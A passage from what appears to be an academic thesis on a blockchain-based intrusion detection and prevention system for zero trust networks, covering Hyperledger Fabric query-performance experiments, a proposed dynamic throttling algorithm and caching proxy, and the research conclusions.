is identical to the one existing on-chain, chrome.exe will be allowed execution. 

b. In case the output of “ReadAsset” returns a hash mismatch, chrome.exe will 
be denied execution. 

c.  Additionally, an intrusion alert will be triggered and process 6 begins (see 
Figure 51) 

3. Transaction endorsement: the transaction will be executed repeatedly for each 
organization required by the chaincode endorsement policy. Responses are collected 
and signed.  

 
We measured the performance of the above-mentioned ledger-query step 2, assuming a 

group of 100 up to 1000 remote employees attempt a simultaneous execution of Chrome 
web browser. Chrome requires 350 different executables to be queried prior allowing 
execution, which we measured on the remote employee endpoint. Our observations are 
shown in Figure 91 and Figure 92. 
 

 
Figure 91 - CPU & Memory Performance. 
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Figure 92 - Time to complete and TPS per user group. 

The BIDPS’s CPU and Memory resources are quickly depleted as transactions (Tx) 
increasing per user group. Notably, for the first 300 users the resources seem to be enough, 
however, when we add 100 more users (400 in total) the TPS and the resources overall reach 
their limit. From that point onwards, TPS are decreasing while the time to complete 
significantly increases. 
 

• Observation 1: a performance bottleneck occurs when 400 or more users attempt 
simultaneous execution, which hinders user experience by increasing the launch 
time of an applications significantly; and thereby the waiting time. 

• Observation 2: even before the 400-user threshold, CPU operates already at 90% 
usage on average, while the more load we add the faster it reached to 100% of usage. 
This causes a resource utilization problem that ultimately adds up to Observation 1. 
 

Conclusively, the observations 1&2 are the answers to RQ4 formed in section  
 
 
 
5.4.4 Performance Problem Statement: RQ4 What happens when hundreds of users (or even 
thousands in the case of a notional bank) try to execute an application and thereby start a 
ledger-query transaction all at once?  
 
The observations 1&2 provoke new research questions: 
 

• RQ5: How can we achieve optimal resource utilization that will enhance 
performance while supporting the same number of users (remote employees) and 
applications? 

• RQ6: How can we achieve the maximum TPS given the lab resources, to minimize 
waiting time while preserving the integrity of data on-chain with the same user 
group and applications? 
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5.4.6 Hyperledger Fabric Performance Related Work 
 

To understand the related work and existing solutions for RQ5 & RQ6, we review the work 
of other scholars on the subject. Although the BIDPS provided for great intrusion detection 
and prevention ratio against APTs (see section   
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5.3 Conclusion and Discussion on Effectiveness), its performance is of utmost importance 
as it is directly connected with the user experience. Namely, the more time a ledger-query 
transaction takes to complete, equal amount of time a remote employee will have to wait for 
the requested application to execute. Thus, not only hindering user experience, but business 
operations as well. Therefore, it is imperative to improve the performance of the BIDPS 
ledger-query transaction, achieving the optimal peer specifications usage while minimizing 
the time-to-respond.  

The first version of Hyperledger Fabric v0.6 achieved less than 1k TPS [166] [167] due to its 
core components architecture. In continuation, significant performance improvements and 
changes in core architectural components were introduced that achieved far better TPS. The 
membership service provider (MSP) caching was one of them. The MSP allows for deserialized 
certificates storage to reduce the overhead for crypto operations [168]. A second one is the 
parallel validation system chaincode (VSCC) which reduces the time for crypto operations by 
validating block signatures in parallel [169]. The TPS was improved even further by eliminating 
the lock contentions to access the cache, an improvement related to MSP caching, and thus 
TPS increased up to 2.5k [170]. Androulaki et al. [71] used SSDs for databases and block-file 
storages and achieved 4k TPS using Hyperledger Fabric v1.0. Gorenflo et al. [171] introduced 
four main architecture optimizations in Hyperledger Fabric v1.4, namely, separating data 
from metadata, parallelism and caching transaction data, memory hierarchy exploitation for 
faster data access, and resource separation for peers, to eventually achieve 20k TPS. Sousa et 
al. [172] designed, implemented, and evaluated a Byzantine Fault Tolerance (BFT) ordering 
service, ultimately reaching up to 10k TPS while write time on-chain was measured to half 
second with peers being distributed across continents. 

Innovation through either optimization, rearchitecting of components, combination of 
software and hardware configurations and other methodologies have been studied 
extensively in the category of ledger-update transactions. The same does not apply with the 
ledger-query transactions, however. Although there are several studies on the subject, they 
focus near, or around the same improvements but with different approaches. For example, 
Gupta et al. [173] presented two models with variations to create temporal indexes on Fabric.  

Yongqiang Lu et al. [189] proposed two different index building methods. The temporal 
index based on state databases (TISD) and the temporal index based on file (TIF). Both works 
seem promising, however there are two drawbacks, specific for our use case. Firstly, their 
experiments used small number of entities, (Yongqiang Lu et al. [174] being the largest one 
used 520 specifically) and still the maintenance and production of the mentioned indexes 
proved to be a rather complex methodology. In our case, we assume at least 50 million 
entities, thereby the production and maintenance of indexes throughout, state, history and 
index databases would require significant effort to keep always up to date. Moreover, 
indexing approaches would introduce a security gap in our BIDPS, namely, a potential breach 
of the index would compromise the entire notion of the BIDPS integrity. Other relevant 
studies have performed measurements on the validation phase with either GolevelDB, 
CouchDB, comparatives with the two (as being native choices of HLF), and even some propose 
the introduction of a an entirely different database, other than the two natively available in 
Hyperledger Fabric and moving the querying function off-chain [175] [169] [176]. Approaches 
as such might offer some improvement on the query response, however, they would defeat 
two of the core BIDPS’s notions and ZTA tenets, namely, remove trust from the endpoint and 
place it on-chain, and never trust always verify. Additionally, GolevelDB versus CouchDB 
performance, when it comes to simple key-value pair queries has been extensively studied 
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and GolevelDB offers the best performance. In the case of BIDPS we use simple key-value pair, 
where complex queries are not case as well, thereby other databases would only increase 
complexity and cost without significant performance benefits [177]. 
 
5.4.7 A Novel Approach to Enhance the BIDPS Performance 
 

The relevant literature and our observations in section 5.4.5 Problem Analysis and 
Observations, provide for a clear research direction. We firstly analyse how Hyperledger 
Fabric assigns peers for transaction execution, and secondly propose a novel: 
 

1. Ledger-query strategy, named “Dynamic Throttling Strategy”, that not only works 
best for the BIDPS use case but can be leveraged widely when simple key-value 
queries with substantial amounts of data and users are the basic characteristics of a 
blockchain network. 
 

2. ZTA-enabled caching mechanism for the BIDPS, that de-load the peer(s) from 
repeated queries and minimises the response time to user application execution 
requests.  

 
5.4.7.1 Existing Query Strategies 
 

In section 5.4.5 Problem Analysis and Observations, point 2, we discussed in detail the 
transaction execution step and how the chaincode assigns the execution of a transaction on 
a peer. Peer selection specifically, however, is governed through HLF’s query strategies. The 
SDK provides 4 native strategies to evaluate transactions. Once defined through 
“DefaultQueryHandlerStrategies” it will be used for all transaction evaluations. If no strategy 
is defined, the default option of “PREFER_MSPID_SCOPE_SINGLE” will be applied.  
 
There are 2 native strategies, with a variation in the fall-back method for each: 
 

1. PREFER_MSPID_SCOPE_SINGLE: evaluates all transactions using the first peer of an 
organization that can provide a response. It will only switch to another peer, if first 
peer fails to provide a response for any reason. If the organization has no peers, then 
it falls back to all peers specified in the network configuration file.  

a. MSPID_SCOPE_SINGLE: follows principles as per above strategy, however, in 
case of no available peers or no peers at all, the fall-back strategy is to fail exit 
rather than falling back to all peers within the network configuration file.  
 

2. PREFER_MSPID_SCOPE_ROUND_ROBIN: evaluates a transaction based on list of 
peers, starting with the first on that list. Peers will be engaged in order until a response 
is received, or all peers have been engaged. On the next query, the second peer on 
the list will be engaged first, and then continue in the list of peers until a response is 
received. This is an incremental loading strategy that distributes the workload among 
all responding peers.  

a. MSPID_SCOPE_ROUND_ROBIN: follows principles as per above strategy, 
however, it will exit fail when there are no peers available on the organizations 
list, rather than falling back to all peers within the network configuration file. 
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5.4.7.2 Suitability Test 
 

To begin with, both variations of the two core strategies are automatically descoped since 
within a private permissioned blockchain-based ecosystem, the parties (organizations) do not 
inherently trust each other, equally the peers of another organization are not to be trusted 
and queried unless explicitly stated through an endorsement policy.  

In section 5.4.5 Problem Analysis and Observations we evaluated the performance of the 
BIDPS based on the first and default strategy “PREFER_MSPID_SCOPE_SINGLE”. The results 
shown that a single peer strategy is not suitable for the BIDPS use case.  

So, the next and last available native strategy is “PREFER_MSPID_SCOPE_ROUND_ROBIN”. 
Round Robin is a static and algorithm that works in a circular and ordered manner. Each peer 
will be assigned a query without any form of prioritization. Furthermore, assuming 100 users 
will query peer0 and peer1 of Org1 through the chaincode to evaluate Chrome’s hash 
presence on-chain (transaction), the algorithm will distribute the load equally to both peers. 
In the meantime, we assume that a third peer is added on Org1 (peer3 – Org1) and another 
50 users try to query the ledger against another application (e.g., outlook.exe). In this case, 
since round robin algorithm works in cyclic manner, we will have peer1 and peer2 managing 
the initial 100 requests, while peer3 will manage 50 requests, hence round robin fails to 
distribute the query load in an efficient routine. This is visualized in Figure 93. 
 

 
Figure 93 - PREFER_MSPID_SCOPE_ROUND_ROBIN drawback. 

5.4.7.3 Dynamic Throttling Strategy 
 

To overcome the difficulties with the existing strategies and based on observations 1,2 in 
section 5.4.5 Problem Analysis and Observations we propose a novel dynamic throttling 
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strategy. The strategy is based on two pillars (1) the peer environment indexing and 
monitoring (2) an algorithm. 
 

1. The peer environment indexing and monitoring, as shown in Figure 94. We define 
three peer status tags based on our previous observations and measurements of 100-
1000 users and up to 350k Tx’s. The peer status definition allows for a generalization 
at this point, based on the observed loading pattern of a single peer. Nonetheless, a 
10% safety threshold to peers tagged as “available” is added. Meaning that peers in 
mentioned state will still be able to manage queries without failures, as a single 
request will never consume more than 10% of a single peer resource. We also 
introduce a separate VM that hosts the index Peers report their CPU and RAM 
consumption in real-time to the peer index. Peers report in real-time their CPU and 
RAM consumption, therefore index controls the query distribution based on the 
algorithm. The response is sent directly back to the user. 

 

 
Figure 94 - Peer environment indexing and monitoring. 

2. The dynamic throttling algorithm, as shown in Figure 95, is embedded in the 
blockchain network operating as our own query strategy. The users perform a 
substantial number of queries in parallel using the “D_THROTTLE” strategy, which 
triggers the dynamic throttling algorithm. Upon successful identification of the first 
available node in ready state, the index will assign the query to subject node, while 
the node id will be registered, and the index will be updated (update +). Once the 
query is executed, results are returned directly to user and node sends cooldown 
signal updating the index (update -) with the current resources status. In case of a 
node in ready state is not available, the same flow will occur, but the index will search 
for the first available node this time. Conversely, if there is no node in available state, 
index returns error code -1, and the auto scale-up procedure begins to add resources 
to nodes currently marked as overloaded and update index accordingly.  
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Figure 95 - Dynamic throttling algorithm flowchart. 

As a result, we will always have capacity to execute queries, however without unnecessary 
overspending of computing or money resources. Our strategy prioritizes nodes in ready state 
first, progressively loading the cluster of nodes which eventually solves the problem identified 
during our first workload performance test (see section 5.4.5 Problem Analysis and 
Observations) and successfully answers RQ5 and RQ6. To verify this claim we conduct the 
same initial experiment with the same parameters (viz. same number of users and 
applications in use), however we utilize our “D_THROTTLE” algorithm and query strategy this 
time and we observed the following: 
 

• Observation 1:  by adding more nodes and using the “D_THROTTLE” algorithm, we 
have managed to increase considerably the amount of TPS up to 1991; see Figure 97. 
 

• Observation 2: CPU and memory performance on all peers show a declining trendline. 
Moreover, none of the peers exceeded the 80% threshold to be marked as 
overloaded, while the average CPU usage for all peers ranged between 40% to 46%. 
This demonstrates a significant improvement in resource handling; see Figure 96. 
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Figure 96 - CPU & Memory performance using D_THROTTLE. 

 
Figure 97 - Time to complete & TPS per user group. 

• Observation 3: the overall time to completion comparison chart highlights (1) that the 
dynamic throttling strategy is significantly faster and (2) that the more transactions 
received, a much smoother increase in time is anticipated, compared to the default 
query strategy; see Figure 99. 
 

• Observation 4: the time to completion per additional 50k queries, is a steady line 
ranging between 17 to 18 seconds while using dynamic throttling, proving effective 
and efficient load balancing. While using the default strategy however, the time to 
completion for the first 100 users measured to 50 seconds, and it is evident that the 
peer is quickly allocating resources to complete the transactions but while reaching its 
threshold the time increases drastically timed beyond 60 seconds. Furthermore, once 
the peer finalizes several transactions and frees some resources there is a slight 
improvement in performance, yet again allocating all resources and quickly reaching 
threshold eventually leading into delays, as the pattern suggests; see Figure 98. 
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Figure 98 - Overall time to completion – Seconds vs transactions. 

                                         

Figure 99 - Time to completion per transaction group – Seconds vs transactions. 

 
5.4.7.4 ZTA-enabled Caching for the BIDPS 
 

Repeating the initial experiment demonstrates that by adding nodes in an organization, 
utilizing our D_THROTLLE algorithm and query strategy instead of one of the two defaults 
strategies, not only we can achieve greater TPS, but we can also serve the users requests in a 
more efficient manner. Nevertheless, since we operate within a ZT architecture, we can 
leverage the existing policy enforcement point (PEP) and make it part of the blockchain 
network to achieve potentially higher TPS and greater performance results. As such, we could 
manage to narrow down the potential queries initiated by remote employees. Thus, the 
customized architecture of the BIDPS compared to a typical HLF network will be the following: 
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Figure 100 - Ledger-query overview with caching mechanism. 

More specifically, we modify the default Phase (A) of HLF’s ledger-query transaction, as 
shown in Figure 90, adding another hop (the http caching proxy) as shown in Figure 100. 
During this step, the client (endpoint) constructs and sends an HTTP request to the caching 
server attempting to interact with the blockchain network. The HTTP server firstly, extracts 
the essential parameters from the request body; (i) application name (ii) hash (iii) owner (iv) 
application version, and constructs the transaction proposal by using the SDK. Next, the 
generated proposal is signed with the user’s credentials and contains the details of the 
specific chaincode. Lastly, the proposal is sent to the selected peer by “D_THROTTLE” where 
the transaction is simulated, and the response is sent back directly to the user (remote 
employee). We thereby improve the proposed application rationale as suggested in section   
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4.5.7 Application Rationale and Figure 51, by embedding the caching mechanism in the 
BIDS network through Process 8, as shown in Figure 101.  
 

• Process 8: Once a user initiates an authenticated (using the certificate) ledger-query 
transaction and received a valid response from the subject peer, “AssetExists” 
response essential parameters will be cached on the PEP for 8 hours (1 working day). 
Consequently, when another user will initiate a ledger-query for the same parameters 
the request will be served directly from the PEP rather than the cluster of nodes.  

 

 
Figure 101 - Application rationale improved with caching process. 

To validate the updated rationale, we conduct the following experiment. We modify the 
network configuration file to include the PEP as caching proxy and thereby our workload will 
follow process 8. The workload generation is set to 40 users, randomly selecting non-default 
windows application on users’ workstations. Through Figure 102, it becomes evident that 
during the first-time execution of an application, the “D_THROTTLE” algorithm manages well 
with the load and has capacity (approx. 2k TXs) to instantly cope up with all requests. 
However, as users request the same application the caching proxy takes the lead in providing 
responses. Thus, the linear trendlines show that over time, the usage of “D_THROTTLE” is 
expected to decline, opposite to the usage of the caching proxy which is expected to increase. 
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Figure 102 - Dynamic throttling vs caching proxy usage and trendlines. 

 

5.5 Conclusion and Discussion on Performance  
 

To evaluate the performance of the BIDPS, we conducted an experiment to identify and 
set the baseline metrics.  Based on the experiment results (observations 1,2 in section 5.4.5 
Problem Analysis and Observations) we acknowledged a performance related problem which 
thereby formed research questions: 

 
• RQ5: How can we achieve optimal resource utilization that will enhance 

performance while supporting the same number of users (remote employees) and 
applications? 

• RQ6: How can we achieve the maximum TPS given the lab resources, to minimize 
waiting time while preserving the integrity of data on-chain with the same user 
group and applications? 

 
To overcome the difficulties with the existing strategies and provide answers to RQ5 and 

RQ6 we proposed a novel dynamic throttling strategy, comprised by (1) the peer environment 
indexing and monitoring functionality, and (2) an algorithm. Next, we repeat the initial 
experiment with same parameters and the only difference being the utilization of our own 
dynamic throttling strategy, instead of the existing ones.  

The experiment aimed to evaluate the effectiveness of the "D_THROTTLE" algorithm and 
query strategy in improving the performance and resource utilization of the system. The 
following results were extracted: 

1. By adding more nodes and implementing the "D_THROTTLE" algorithm, the 
transaction processing capacity significantly increased, with a maximum of 1991 
transactions per second (TPS) achieved. 

2. CPU and memory performance on all peers showed a declining trendline, indicating 
improved resource handling. None of the peers exceeded the 80% threshold for 
overload, and the average CPU usage ranged between 40% to 46%. 
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3. The overall time to completion comparison chart demonstrated that the dynamic 
throttling strategy was significantly faster than the default query strategy. As more 
transactions were received, the increase in processing time was much smoother with 
the dynamic throttling strategy. 

4. When comparing the time to completion per additional 50k queries, the dynamic 
throttling strategy showed a steady line ranging between 17 to 18 seconds, indicating 
effective and efficient load balancing. In contrast, the default strategy initially took 50 
seconds for the first 100 users, with significant delays as the peer reached its resource 
threshold. 

5. With the implementation of the ZT-enabled caching mechanism we managed to 
further improve the proposed application rationale as suggested in section   
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6. 4.5.7 Application Rationale and Figure 51, by embedding the caching mechanism in 
the BIDS network through Process 8, as shown in Figure 100. 

7. Our experiment validated that (see Figure 99), during the first-time execution of an 
application, the “D_THROTTLE” algorithm manages well with the load and has capacity 
to instantly cope up with all requests. However, as users request the same application 
the ZT-enabled caching proxy takes the lead in providing responses. Thus, the linear 
trendlines show that over time, the usage of “D_THROTTLE” is expected to decline, 
opposite to the usage of the caching proxy which increases and minimizes the load 
received by the BIDPS. 

These results validate the effectiveness of the "D_THROTTLE" algorithm and query strategy 
in achieving optimal resource utilization, increasing transaction processing capacity, and 
improving system performance while maintaining the integrity of data on-chain. The two 
solutions together provide for the optimal resource utilization ensuring a smooth BIDPS 
operation.  

Conclusively, we extend and preserve two core attributes of blockchain and ZT (never 
trust, always verify), by automating the update function of the PEP through our chaincode. 
Moreover, utilizing both the “D_THROTTLE” algorithm combined with the caching proxy 
within the transaction proposal phase, we have effectively and efficiently achieved to: 

 
1. Regulate the ledger queries and achieve the maximum number of TPS given the lab 

resources. 
2. Eliminate repeated queries with same essential parameters until expiration time. 
3. De-load the nodes allowing to scale down, eventually lowering the operational costs. 
4. Preserve immutability, integrity, and non-repudiation.  
5. Provide the best possible user experience enabling near instant execution upon 

request while maintaining a highly secure BIDPS. 
6. interoperability between blockchain and traditional security systems through the PEP, 

enabled via chaincode. 
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Chapter 6: Summary and Discussion 
 

This chapter provides a summary of the findings of this research and discusses them 
according to each phase.  
 
6.1 Analysis phase - Intersection of ZTA, DLT and Blockchain 
 

Driven by the identified problem of ZTA, namely, the endpoints’ vulnerability being the 
Achilles heel of a ZTA as highlighted in NSA’s report [1] we examined the intersection of ZTA, 
DLTs and blockchain. Specifically, if and how ZTA can be augmented onto endpoints using the 
potential of blockchain’s immutability fortifying the intrusion detection process to alleviate 
the mentioned problem. Consequently, this formed our first research question RQ1: Are 
there common attributes between ZTA, DLTs and blockchain? At the end of this phase, it was 
evident that ZTA, DLTs and blockchain share some common characteristics that may be highly 
complementing each other. The research focused on the following: 
 

• Highlight the main differences between traditional perimeter-based models and zero 
trust approaches. 

• Examined why the perimeter-based defences are insufficient, in a world where 
borderless networks are dominating the IT landscape architecture, and thereby the 
castle-and-moat approach is no longer viable. 

• Conducted a state-of-the-art review on zero trust architecture concepts, tenets, and 
real-world implementations.  

• Outlined the common attribution of ZTA, DLT and blockchain, and argued on why 
they are a potentially good fit to enhance cyber security use cases. 

• Discussed the potential security problems with current ZTAs and outlined promising 
approaches to tackle those problems. 

• Specifically, one of the approaches we explored is the possibility of adapting DLT and 
blockchain to verify the integrity of the endpoints in a ZTA, which in turn answered 
our first research question RQ1: Are there common attributes between ZTA, DLTs 
and blockchain? 

 
6.2 Design Phase – Design Principles and Core Concepts. 
 

Several future research directions were identified during the analysis phase. Among them, 
a blockchain enabled intrusion detection, and possibly prevention system that would 
augment ZTA on endpoints by building and extending upon the core ZTA tenet, viz., the 
assume breach mindset. By adopting the assume breach mindset, the users and their 
endpoints should be considered as compromised. In this phase the research focussed on the 
following: 
 

• Considering the input of analysis phase and drafted two new research questions. 
 

o RQ2: How can we solve the highlighted Achilles Heel of ZTA? Namely, will the 
proposed BIDPS detect and prevent attacks against endpoints prior the 10th 
stage of MITRE’s ATT&CK threat knowledge base, thus proving effectiveness? 
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o RQ3: How can we augment ZTA on endpoints using DLTs and blockchain?  

 
• Based on the literature review, researcher’s experience, and industry specific 

requirements for the BIDPS use case, it was evident that a successful and fit for 
purpose BIDPS prototype must adhere to four key design principles. Namely, it must 
be permissioned & private blockchain, the consensus protocol must not require a 
native cryptocurrency, the smart contracts must be authored in general-purpose 
programming languages, open-source, enterprise-grade, and scalable.  

 
• Hyperledger Fabric found to meet all the design principles, where all the alternatives 

fail to meet at least one of them, hence making it the best choice for our use case. 
 

• We discussed the core design concepts of Hyperledger Fabric and addressed all the 
design prerequisites that will prepare and allow for a successful development and 
implementation phase in continuation.  
 

6.3 Development & Implementation Phase – Prototype’s 
Development, Operating Network, and Architecture 
 

The development and implementation phase consisted of four distinct sub-steps, to finally 
build the BIDPS prototype. The four steps together (sections 4.2, 4.3, 4.4, 4.5) comprise the 
BIDPS prototype within the ZTA environment. The development was successful, despite the 
limited existing documentation. During this phase we managed to further enhance the 
whitelist by introducing a context-aware mechanism that was later leveraged by the BIDPS to 
enhance detection and prevention. Therefore, the research in this section focused on the 
following: 
 

• We developed, implemented a notional bank architecture, and simulated a remote 
employee, within a ZTA environment. This is where the BIDPS operates at the highest 
level. 

• Next, we developed and implemented an application whitelist based on existing 
encryption algorithm that served as input for our BIDPS.  

• In continuation, we implemented the fabric blockchain network. That was the 
enabling layer for the BIDPS to be grounded.  

• Lastly, we developed and implemented the BIDPS application, which runs on top of 
the fabric blockchain network and performs all the user-backend interactions. The 
BIDPS and its respective chain codes were deployed and operationalized. 

 
6.4 Evaluation Phase – Effectiveness and Performance 
Evaluation 
 

In this chapter we performed an evaluation of the BIDPS’s detection and prevention 
effectiveness, as well as its performance efficacy. To structure and conduct the former in an 
unbiased manner, we defined two classes of APT attacks that span from the most traditional 
up to the most sophisticated. Namely, the file-based and fileless attack classes. Next, we 
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constructed scenarios for each class of attacks and evaluate the efficacy of the proposed 
blockchain enabled intrusion detection and prevention system. When it comes to 
performance evaluation, we adjusted the block lab accordingly and performed experiments 
measuring the BIDPS’s performance indicators while dependent variables are altered. The 
research in this section focused on the following: 

 
• We described the evaluation rationale and devised two operating modes for the BIDS.  

o Blockdown mode OFF, while the BIDPS was not active. 
o Blockdown mode ON, while BIDPS was active.  

 
• We simulated specific APTs and launch the sequence of tactics and techniques that 

account for both file-based attacks and fileless attacks. Thereby covering both major 
attack categories.  

 
• The only difference between file-based and fileless attack classes was identified during 

the execution tactic and related techniques. Thereby we started performing all 
applicable tactics and techniques in file-based class, but only re-assessed explicitly the 
execution tactic and related techniques under fileless attack class.  

 
• We draw Table 12 – Ownership Transfer List, which contains native windows 

application extensively abused for the purpose of process injection. 
 

• We introduced the user-aware on-chain data context, where we declare executable’s 
ownership based on user privileges. For instance, if executables are owned by 
administrator and recorded as such on-chain, any attempt to execute triggers a 
detection rule, and thereby a process injection is detected and prevented as 
demonstrated in section 5.2.4.1 Initial Access.  

 
• We implemented a known technique to complement the detection of in-memory 

attacks via Sysmon. This proved to be effective on a single test we performed and 
demonstrate in Figure 93 the event ID 8 “CreateRemoteThreat” was captured through 
Sysmon. Event ID 8 is raised when a process creates a thread in another process. 
Conclusively, this could open a new potential area of research. More specifically, 
writing all the event IDs on-chain, use it as sole source of immutable and transparent 
truth while having a smart contract automatically deciding when to trigger preventive 
actions based on event IDs codes.   
 

• Although the effectiveness of the BIDPS was established, at the same time it provoked 
the following RQ4: What happens when hundreds of users (or even thousands in the 
case of a notional bank) try to execute an application and thereby start a ledger-
query transaction all at once?  
 

• To answer RQ4, we deep dived into the exact steps of a ledger-query transaction, 
analysing the entire process, and subsequently performed an experiment to assess the 
performance of the BIDS.  
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• Although the experiment results provided the answer to RQ4 (observations 1,2 in 
section 5.4.5 Problem Analysis and Observations) we acknowledged the highlighted a 
performance related problem, which we turned into research questions RQ5 and RQ6. 
 
o RQ5: How can we achieve optimal resource utilization that will enhance 

performance while supporting the same number of users (remote employees) 
and applications? 

o RQ6: How can we achieve the maximum TPS given the lab resources, to 
minimize waiting time while preserving the integrity of data on-chain with 
the same user group and applications? 

 
• To overcome the difficulties with the existing strategies and provide answers to RQ5 

and RQ6 we proposed: 
o a novel dynamic throttling strategy, comprised by the peer environment 

indexing and monitoring functionality, supported by our own algorithm. 
 

• Next, we repeated the initial experiment with same parameters and the only 
difference being the utilization of our own dynamic throttling strategy, instead of the 
existing ones.  

 
• Repeating the initial experiment demonstrated that by adding nodes in an 

organization, utilizing our D_THROTLLE algorithm and query strategy instead of one of 
the two defaults strategies, not only we could achieve greater TPS, but we could also 
serve the users requests in a more efficient manner.  

 
• Moreover, and since we operate within a ZT architecture, the research showed that 

we could leverage the existing policy enforcement point (PEP) and make it part of the 
blockchain network, thereby improving performance results. With this idea, we also 
managed to narrow down the potential queries initiated by remote employees.  

 
• As a result, we improved the proposed application rationale as suggested in section 

4.5.7 Application Rationale and Figure 58, by embedding the caching mechanism in 
the BIDS network through Process 8, as shown in Figure 108.  

 
• To validate the updated rationale, we conduct an experiment. Through Figure 109, it 

became evident that the two novelties had a great cooperation and brough an 
impactful effect in performance, thus, the linear trendlines showed that over time, the 
usage of “D_THROTTLE” is expected to decline, opposite to the usage of the caching 
proxy which is expected to increase. 
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6.5 Summary of research questions and results 
 
In this section we provide a table summarizing how the research questions are effectively 
answered. 
 

Table 16 - Summary of research questions and answers. 

Research Question Answer 

RQ1: Are there common attributes 
between ZTA, DLTs, and 
blockchain? 

DLTs and blockchain share common attributes 
with ZTA, specifically in augmenting the 
"assume breach" and "never trust always 
verify" tenets. However, careful 
implementation is required due to computation 
overhead and potential security-usability trade-
offs. 

RQ2: How can we solve the 
highlighted Achilles Heel of ZTA? 
Namely, will the proposed BIDPS 
detect and prevent attacks against 
endpoints prior to the 10th stage 
of MITRE’s ATT&CK threat 
knowledge base, thus proving 
effectiveness? 

The proposed BIDPS effectively detects and prevents 
file-based attacks earlier than the "lateral 
movement phase" and demonstrates effectiveness 
in mitigating fileless attacks. However, there is a 
weakness in detecting and preventing in-memory 
attacks, which is supplemented using Sysmon. 

RQ3: How can we augment ZTA on 
endpoints using DLTs and 
blockchain? 

DLTs and blockchain can augment ZTA on endpoints 
by acting as the sole source of immutable trust and 
truth for file execution. Additionally, the ownership 
transfer list and user-aware on-chain data context 
enhance ZTA by declaring executable ownership 
based on user privileges. 

RQ4: What happens when 
hundreds of users (or even 
thousands in the case of a 
notional bank) try to execute an 

The research identifies a performance problem in 
the BIDPS when multiple users initiate ledger-query 
transactions simultaneously. To address this, a novel 
dynamic throttling strategy and a ZTA-enabled 
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application and thereby start a 
ledger-query transaction all at 
once? 

caching mechanism are proposed to increase 
transaction processing capacity and minimize 
response time. 

RQ5: How can we achieve optimal 
resource utilization that will 
enhance performance while 
supporting the same number of 
users (remote employees) and 
applications? 

The dynamic throttling strategy, combined with the 
ZTA-enabled caching mechanism, regulates ledger 
queries, optimizes resource utilization, and provides 
a smooth BIDPS operation, ensuring efficient 
performance and near-instant execution of 
applications for up to 1000 users as demonstrated in 
our experiment. 

RQ6: How can we achieve the 
maximum TPS given the lab 
resources, to minimize waiting 
time while preserving the integrity 
of data on-chain with the same 
user group and applications? 

By implementing the "D_THROTTLE" algorithm and 
the caching proxy, the research achieves optimal 
resource utilization, maximizes transaction 
processing capacity, and maintains the integrity of 
data on-chain, resulting in minimized waiting time 
and enhanced performance for the same user group 
and applications. 
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Chapter 7: Conclusions and Future Direction 
 
7.1 Conclusions 
 

Using a pragmatist approach and leveraging the principles of the design and development 
methodology, this research has investigated the convergence of zero trust architecture, 
distributed ledger technologies (DLTs) and blockchain. This research considered the core 
tenets of zero trust architecture, the existing real-world implementations, and the 
characteristics of emerging technologies such as DLTs and blockchain. The researcher 
discovered significant similarities and immense potential for these technologies to work 
synergistically, and moreover several attributes of the latter that can augment the former. 
Therefore, a blockchain-enabled intrusion detection and prevention system was proposed, 
designed, developed, implemented, and evaluated against both performance and 
effectiveness. The conclusions of this research are the following: 
 

1. DLTs and blockchain share many common attributes and can play a critical role in 
augmenting, at least, two of the core tenets of zero trust architectures, namely, the 
“assume breach”, and “never trust always verify”. However, the implementation 
requires thoughtful consideration due to computation overhead and the potential 
trade-offs between security and usability. This is the answer for our first research 
question RQ1: Are there common attributes between ZTA, DLTs and blockchain? 
 

2. For a successful and fit for purpose BIDPS prototype, it must adhere to the four 
design principles. Namely: 

a. it must be implemented in a permissioned & private blockchain. 
b. the consensus protocol must not require a native cryptocurrency. 
c. the smart contracts must be authored in general-purpose programming 

languages. 
d. it must be enterprise-grade and scalable. 

The same principles are applicable for other uses cases targeting the private sector. 
 

3. It was demonstrated that the BIDPS acts as the sole source of immutable trust and 
truth when it comes to either malicious or legitimate file execution, thereby indeed 
the trust is stripped from the endpoints, and is ultimately placed on-chain 
augmenting prevention and detection.  

a. For the file-based attack class, the BIDPS is effectively detecting and 
preventing all subject tactics and their related techniques, much earlier 
than the “lateral movement phase” (10th stage). In fact, it can be effective 
as early as the “execution phase” (4th stage).  

b. For the fileless attacks class, the same results apply. It needs to be noted 
however, that prevention is partially achieved natively by BIDPS. Sysmon, 
or any other memory detection toolkit, would need to supplement the 
BIDPS. The lab results highlighted a weakness in BIDPS when it comes to in-
memory attacks detection and prevention. 

c. To overcome this weakness, we implemented a known technique to 
complement the detection of in-memory attacks via Sysmon. This proved 
to be effective in our lab tests performed and demonstrated in Figure 93 
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Conclusively, this could open a new potential area of research. More 
specifically, writing all the event IDs on-chain, use it as sole source of 
immutable and transparent truth while having a smart contract 
automatically deciding when to trigger preventive actions based on event 
IDs codes.  

 
Above points 3, 3a,3b,3c are therefore answering our research questions:  
 

• RQ2: How can we solve the highlighted Achilles Heel of ZTA? Namely, will the 
proposed BIDPS detect and prevent attacks against endpoints prior the 10th stage of 
MITRE’s ATT&CK threat knowledge base, thus proving effectiveness? 

• RQ3: How can we augment ZTA on endpoints using DLTs and blockchain?  
 

4. To further solidify the detection and privation process, we produced Table 12 – 
Ownership Transfer List, which contains native windows application extensively 
abused for the purpose of process injection. We then introduced the user-aware 
on-chain data context, where we declare executable’s ownership based on user 
privileges.  
 

5. Although the effectiveness of the BIDPS was established, at the same time it 
provoked research question RQ4: What happens when hundreds of users (or even 
thousands in the case of a notional bank) try to execute an application and 
thereby start a ledger-query transaction all at once?  

a. To answer RQ4, we deep dived into the exact steps of a ledger-query 
transaction, analysing the entire process, and subsequently performed an 
experiment to assess the performance of the BIDS.  

b. Observations 1,2 in section 5.4.5 Problem Analysis and Observations 
highlighted this as a performance problem of the BIDPS. Specifically, the 
BIDPS could not manage the anticipated load of queries performed by the 
group of remote employees. 

 
6. To solve this problem, this research produced two novel contributions, namely: 

a. A Ledger-query strategy, named “Dynamic Throttling Strategy”, that not 
only works best for the BIDPS use case, but can be leveraged widely and 
independently of the blockchain technology when simple key-value queries 
with substantial amounts of data and users are the basic characteristics of 
a blockchain network. 
o We conclude that by adding more nodes and using the “D_THROTTLE” 

algorithm, the amount of TPS is significantly increased compared to the 
initial measurement.  

o Moreover, the CPU and memory performance on all peers showed a 
declining trendline. In addition, none of the peers exceeded the 
predefined performance thresholds, while the average CPU usage for all 
peers ranged between 40% to 46%.  

o Not only the dynamic throttling strategy is significantly faster, but the 
more transactions received, the smoother increase in time to process 
